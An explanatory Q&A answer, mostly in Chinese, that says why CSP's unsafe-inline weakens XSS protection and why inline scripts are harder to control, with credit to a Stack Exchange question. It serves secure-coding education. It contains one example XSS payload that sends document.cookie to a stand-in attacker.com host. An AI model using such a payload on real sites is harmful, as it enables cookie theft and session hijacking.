Great questions—let's break this down clearly, since CSP's inline restrictions are a common point of confusion for many devs.

为什么unsafe-inline在CSP里是不安全的？ #

unsafe-inline本质上是给CSP的防护机制开了一个大漏洞，主要风险体现在这两点：

• 大幅放大XSS攻击的危害：如果你的站点存在任何未过滤的用户输入（比如评论区、搜索框渲染结果），攻击者可以直接注入恶意内联脚本（比如<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>）。只要CSP允许unsafe-inline，这个恶意脚本会直接在用户的浏览器里执行，轻松窃取敏感数据或者劫持用户会话。
• 彻底弱化CSP的核心价值：CSP的核心设计目标是强制浏览器只执行你明确信任的代码——要么是指定域名的外部脚本，要么是带合法哈希/nonce的内联脚本。而unsafe-inline直接跳过了所有验证，页面里的任何内联脚本（不管是你自己写的，还是攻击者注入的）都能运行，等于白开了CSP。

内联脚本本身的问题，远不止"不如哈希/nonce安全" #

很多人以为内联脚本只是"相对不安全"，但它本身就有几个硬伤：

• 无法溯源和管控：内联脚本直接嵌入HTML，不像外部脚本可以通过script-src指定信任域名来限制来源。如果页面里散布着大量内联脚本，你很难快速区分哪些是合法的业务代码，哪些是被注入的恶意代码。
• 性能和维护劣势：内联脚本无法被浏览器缓存，每次加载页面都要重新传输这部分代码，增加页面加载时间。而且脚本和HTML混写，代码的可读性、可维护性都会大打折扣，复杂逻辑更是难以调试。
• 天然的XSS攻击载体：内联脚本不需要加载外部资源，攻击者只需要注入一段字符串就能触发攻击，比劫持外部脚本来源要简单得多。

你可能遗漏的点：内联脚本≠远程脚本的替代方案 #

你提到的"内联脚本替代远程脚本"其实是个误区——内联脚本的合理场景通常是小范围的初始化（比如给外部脚本传递配置参数，比如<script>window.config={apiUrl:'/api'};</script>），而不是用来替代完整的远程业务脚本。如果硬要用内联脚本写大量逻辑，除了上面的问题，还会：

• 失去CSP的精细化防护：即使不用unsafe-inline，改用哈希或nonce，你也需要维护这些验证值（脚本内容修改后哈希就会失效），但unsafe-inline直接跳过了验证环节，相当于完全放弃了这层防护。
• 更隐蔽的注入途径：攻击者可以通过DOM XSS、HTML注入等多种方式把恶意脚本插入到页面的任意位置，而unsafe-inline会无条件执行这些脚本，不像外部脚本还需要请求特定域名的资源，容易被防火墙或CSP拦截。

简单总结一下：unsafe-inline的不安全不是"相对"的，而是直接拆除了CSP对脚本来源的验证屏障；内联脚本本身的特性又让XSS攻击更容易实施，这两者结合起来，会让你的站点面临极高的安全风险。

内容的提问来源于stack exchange，提问作者Eliran Pe'er